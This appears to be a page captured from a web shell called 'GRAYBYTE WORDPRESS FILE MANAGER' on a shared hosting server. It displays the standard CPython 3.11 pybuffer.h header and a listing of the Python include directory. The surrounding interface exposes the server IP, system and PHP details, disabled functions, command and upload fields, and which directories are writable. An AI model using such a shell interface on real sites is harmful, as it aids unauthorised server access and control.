GRAYBYTE WORDPRESS FILE MANAGER6208

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/alt/python311/include/python3.11/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/alt/python311/include/python3.11//pybuffer.h
/* Public Py_buffer API */

#ifndef Py_BUFFER_H
#define Py_BUFFER_H
#ifdef __cplusplus
extern "C" {
#endif

#if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x030b0000

/* === New Buffer API ============================================
 * Limited API and stable ABI since Python 3.11
 *
 * Py_buffer struct layout and size is now part of the stable abi3. The
 * struct layout and size must not be changed in any way, as it would
 * break the ABI.
 *
 */

typedef struct {
    void *buf;
    PyObject *obj;        /* owned reference */
    Py_ssize_t len;
    Py_ssize_t itemsize;  /* This is Py_ssize_t so it can be
                             pointed to by strides in simple case.*/
    int readonly;
    int ndim;
    char *format;
    Py_ssize_t *shape;
    Py_ssize_t *strides;
    Py_ssize_t *suboffsets;
    void *internal;
} Py_buffer;

/* Return 1 if the getbuffer function is available, otherwise return 0. */
PyAPI_FUNC(int) PyObject_CheckBuffer(PyObject *obj);

/* This is a C-API version of the getbuffer function call.  It checks
   to make sure object has the required function pointer and issues the
   call.

   Returns -1 and raises an error on failure and returns 0 on success. */
PyAPI_FUNC(int) PyObject_GetBuffer(PyObject *obj, Py_buffer *view,
                                   int flags);

/* Get the memory area pointed to by the indices for the buffer given.
   Note that view->ndim is the assumed size of indices. */
PyAPI_FUNC(void *) PyBuffer_GetPointer(const Py_buffer *view, const Py_ssize_t *indices);

/* Return the implied itemsize of the data-format area from a
   struct-style description. */
PyAPI_FUNC(Py_ssize_t) PyBuffer_SizeFromFormat(const char *format);

/* Implementation in memoryobject.c */
PyAPI_FUNC(int) PyBuffer_ToContiguous(void *buf, const Py_buffer *view,
                                      Py_ssize_t len, char order);

PyAPI_FUNC(int) PyBuffer_FromContiguous(const Py_buffer *view, const void *buf,
                                        Py_ssize_t len, char order);

/* Copy len bytes of data from the contiguous chunk of memory
   pointed to by buf into the buffer exported by obj.  Return
   0 on success and return -1 and raise a PyBuffer_Error on
   error (i.e. the object does not have a buffer interface or
   it is not working).

   If fort is 'F', then if the object is multi-dimensional,
   then the data will be copied into the array in
   Fortran-style (first dimension varies the fastest).  If
   fort is 'C', then the data will be copied into the array
   in C-style (last dimension varies the fastest).  If fort
   is 'A', then it does not matter and the copy will be made
   in whatever way is more efficient. */
PyAPI_FUNC(int) PyObject_CopyData(PyObject *dest, PyObject *src);

/* Copy the data from the src buffer to the buffer of destination. */
PyAPI_FUNC(int) PyBuffer_IsContiguous(const Py_buffer *view, char fort);

/*Fill the strides array with byte-strides of a contiguous
  (Fortran-style if fort is 'F' or C-style otherwise)
  array of the given shape with the given number of bytes
  per element. */
PyAPI_FUNC(void) PyBuffer_FillContiguousStrides(int ndims,
                                               Py_ssize_t *shape,
                                               Py_ssize_t *strides,
                                               int itemsize,
                                               char fort);

/* Fills in a buffer-info structure correctly for an exporter
   that can only share a contiguous chunk of memory of
   "unsigned bytes" of the given length.

   Returns 0 on success and -1 (with raising an error) on error. */
PyAPI_FUNC(int) PyBuffer_FillInfo(Py_buffer *view, PyObject *o, void *buf,
                                  Py_ssize_t len, int readonly,
                                  int flags);

/* Releases a Py_buffer obtained from getbuffer ParseTuple's "s*". */
PyAPI_FUNC(void) PyBuffer_Release(Py_buffer *view);

/* Maximum number of dimensions */
#define PyBUF_MAX_NDIM 64

/* Flags for getting buffers */
#define PyBUF_SIMPLE 0
#define PyBUF_WRITABLE 0x0001

#ifndef Py_LIMITED_API
/*  we used to include an E, backwards compatible alias */
#define PyBUF_WRITEABLE PyBUF_WRITABLE
#endif

#define PyBUF_FORMAT 0x0004
#define PyBUF_ND 0x0008
#define PyBUF_STRIDES (0x0010 | PyBUF_ND)
#define PyBUF_C_CONTIGUOUS (0x0020 | PyBUF_STRIDES)
#define PyBUF_F_CONTIGUOUS (0x0040 | PyBUF_STRIDES)
#define PyBUF_ANY_CONTIGUOUS (0x0080 | PyBUF_STRIDES)
#define PyBUF_INDIRECT (0x0100 | PyBUF_STRIDES)

#define PyBUF_CONTIG (PyBUF_ND | PyBUF_WRITABLE)
#define PyBUF_CONTIG_RO (PyBUF_ND)

#define PyBUF_STRIDED (PyBUF_STRIDES | PyBUF_WRITABLE)
#define PyBUF_STRIDED_RO (PyBUF_STRIDES)

#define PyBUF_RECORDS (PyBUF_STRIDES | PyBUF_WRITABLE | PyBUF_FORMAT)
#define PyBUF_RECORDS_RO (PyBUF_STRIDES | PyBUF_FORMAT)

#define PyBUF_FULL (PyBUF_INDIRECT | PyBUF_WRITABLE | PyBUF_FORMAT)
#define PyBUF_FULL_RO (PyBUF_INDIRECT | PyBUF_FORMAT)


#define PyBUF_READ  0x100
#define PyBUF_WRITE 0x200

#endif /* !Py_LIMITED_API || Py_LIMITED_API >= 3.11 */

#ifdef __cplusplus
}
#endif
#endif /* Py_BUFFER_H */

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 03 2024 19:11:36
root / root
0755
cpython
--
May 13 2025 08:38:39
root / linksafe
0755
internal
--
May 13 2025 08:38:39
root / linksafe
0755
Python.h
2.787 KB
April 08 2025 14:15:29
root / linksafe
0644
abstract.h
30.668 KB
April 08 2025 14:15:29
root / linksafe
0644
bltinmodule.h
0.258 KB
April 08 2025 14:15:29
root / linksafe
0644
boolobject.h
1.184 KB
April 08 2025 14:15:29
root / linksafe
0644
bytearrayobject.h
1.428 KB
April 08 2025 14:15:29
root / linksafe
0644
bytesobject.h
2.556 KB
April 08 2025 14:15:29
root / linksafe
0644
ceval.h
6.108 KB
April 08 2025 14:15:29
root / linksafe
0644
codecs.h
6.905 KB
April 08 2025 14:15:29
root / linksafe
0644
compile.h
0.508 KB
April 08 2025 14:15:29
root / linksafe
0644
complexobject.h
0.707 KB
April 08 2025 14:15:29
root / linksafe
0644
datetime.h
9.409 KB
April 08 2025 14:15:29
root / linksafe
0644
descrobject.h
1.227 KB
April 08 2025 14:15:29
root / linksafe
0644
dictobject.h
3.762 KB
April 08 2025 14:15:29
root / linksafe
0644
dynamic_annotations.h
21.944 KB
April 08 2025 14:15:29
root / linksafe
0644
enumobject.h
0.247 KB
April 08 2025 14:15:29
root / linksafe
0644
errcode.h
1.738 KB
April 08 2025 14:15:29
root / linksafe
0644
exports.h
1.072 KB
April 08 2025 14:15:29
root / linksafe
0644
fileobject.h
1.533 KB
April 08 2025 14:15:29
root / linksafe
0644
fileutils.h
0.495 KB
April 08 2025 14:15:29
root / linksafe
0644
floatobject.h
1.494 KB
April 08 2025 14:15:29
root / linksafe
0644
frameobject.h
0.328 KB
April 08 2025 14:15:29
root / linksafe
0644
genericaliasobject.h
0.326 KB
April 08 2025 14:15:29
root / linksafe
0644
import.h
2.954 KB
April 08 2025 14:15:29
root / linksafe
0644
intrcheck.h
0.754 KB
April 08 2025 14:15:29
root / linksafe
0644
iterobject.h
0.579 KB
April 08 2025 14:15:29
root / linksafe
0644
listobject.h
1.738 KB
April 08 2025 14:15:29
root / linksafe
0644
longobject.h
3.648 KB
April 08 2025 14:15:29
root / linksafe
0644
marshal.h
0.808 KB
April 08 2025 14:15:29
root / linksafe
0644
memoryobject.h
2.744 KB
April 08 2025 14:15:29
root / linksafe
0644
methodobject.h
4.953 KB
April 08 2025 14:15:29
root / linksafe
0644
modsupport.h
6.388 KB
April 08 2025 14:15:29
root / linksafe
0644
moduleobject.h
2.318 KB
April 08 2025 14:15:29
root / linksafe
0644
object.h
29.102 KB
April 08 2025 14:15:29
root / linksafe
0644
objimpl.h
8.23 KB
April 08 2025 14:15:29
root / linksafe
0644
opcode.h
10.925 KB
April 08 2025 14:15:29
root / linksafe
0644
osdefs.h
0.72 KB
April 08 2025 14:15:29
root / linksafe
0644
osmodule.h
0.284 KB
April 08 2025 14:15:29
root / linksafe
0644
patchlevel.h
1.271 KB
April 08 2025 14:15:29
root / linksafe
0644
py_curses.h
2.413 KB
April 08 2025 14:15:29
root / linksafe
0644
pybuffer.h
4.995 KB
April 08 2025 14:15:29
root / linksafe
0644
pycapsule.h
1.685 KB
April 08 2025 14:15:29
root / linksafe
0644
pyconfig-64.h
51.962 KB
April 25 2025 15:19:46
root / linksafe
0644
pyconfig.h
0.158 KB
April 25 2025 15:36:39
root / linksafe
0644
pydtrace.h
2.356 KB
April 08 2025 14:15:29
root / linksafe
0644
pyerrors.h
12.482 KB
April 08 2025 14:15:29
root / linksafe
0644
pyexpat.h
2.512 KB
April 08 2025 14:15:29
root / linksafe
0644
pyframe.h
0.538 KB
April 08 2025 14:15:29
root / linksafe
0644
pyhash.h
4.057 KB
April 08 2025 14:15:29
root / linksafe
0644
pylifecycle.h
2.196 KB
April 08 2025 14:15:29
root / linksafe
0644
pymacconfig.h
2.919 KB
April 08 2025 14:15:29
root / linksafe
0644
pymacro.h
5.922 KB
April 08 2025 14:15:29
root / linksafe
0644
pymath.h
1.933 KB
April 08 2025 14:15:29
root / linksafe
0644
pymem.h
3.799 KB
April 08 2025 14:15:29
root / linksafe
0644
pyport.h
23.879 KB
April 08 2025 14:15:29
root / linksafe
0644
pystate.h
4.526 KB
April 08 2025 14:15:29
root / linksafe
0644
pystrcmp.h
0.426 KB
April 08 2025 14:15:29
root / linksafe
0644
pystrtod.h
1.521 KB
April 08 2025 14:15:29
root / linksafe
0644
pythonrun.h
1.161 KB
April 08 2025 14:15:29
root / linksafe
0644
pythread.h
4.72 KB
April 08 2025 14:15:29
root / linksafe
0644
pytypedefs.h
0.831 KB
April 08 2025 14:15:29
root / linksafe
0644
rangeobject.h
0.613 KB
April 08 2025 14:15:29
root / linksafe
0644
setobject.h
1.507 KB
April 08 2025 14:15:29
root / linksafe
0644
sliceobject.h
2.457 KB
April 08 2025 14:15:29
root / linksafe
0644
structmember.h
1.992 KB
April 08 2025 14:15:29
root / linksafe
0644
structseq.h
1.355 KB
April 08 2025 14:15:29
root / linksafe
0644
sysmodule.h
1.349 KB
April 08 2025 14:15:29
root / linksafe
0644
token.h
2.606 KB
April 08 2025 14:15:29
root / linksafe
0644
traceback.h
0.569 KB
April 08 2025 14:15:29
root / linksafe
0644
tracemalloc.h
1.088 KB
April 08 2025 14:15:29
root / linksafe
0644
tupleobject.h
1.575 KB
April 08 2025 14:15:29
root / linksafe
0644
typeslots.h
2.287 KB
April 08 2025 14:15:29
root / linksafe
0644
unicodeobject.h
35.188 KB
April 08 2025 14:15:29
root / linksafe
0644
warnings.h
1.103 KB
April 08 2025 14:15:29
root / linksafe
0644
weakrefobject.h
1.197 KB
April 08 2025 14:15:29
root / linksafe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF